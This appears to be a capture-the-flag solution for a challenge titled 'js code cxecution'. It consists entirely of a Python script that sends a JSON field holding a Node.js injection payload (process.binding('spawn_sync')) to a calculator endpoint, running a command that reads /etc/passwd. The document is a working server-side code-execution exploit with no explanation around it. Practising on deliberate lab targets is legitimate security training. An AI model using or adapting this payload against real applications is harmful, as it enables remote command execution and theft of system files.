Wizer - Challenge 19 - js code cxecution

Exploit

import requests

url = "https://chal19.vercel.app/calc/"




r = requests.post(url, json={
    "calculation": "process.binding('spawn_sync').spawn({file:'cat',args:['cat', '/etc/passwd'],stdio:[{type:'pipe',readable:true,writable:false},{type:'pipe',readable:false,writable:true},{type:'pipe',readable:false,writable:true},],}).output"
})


print(r.text)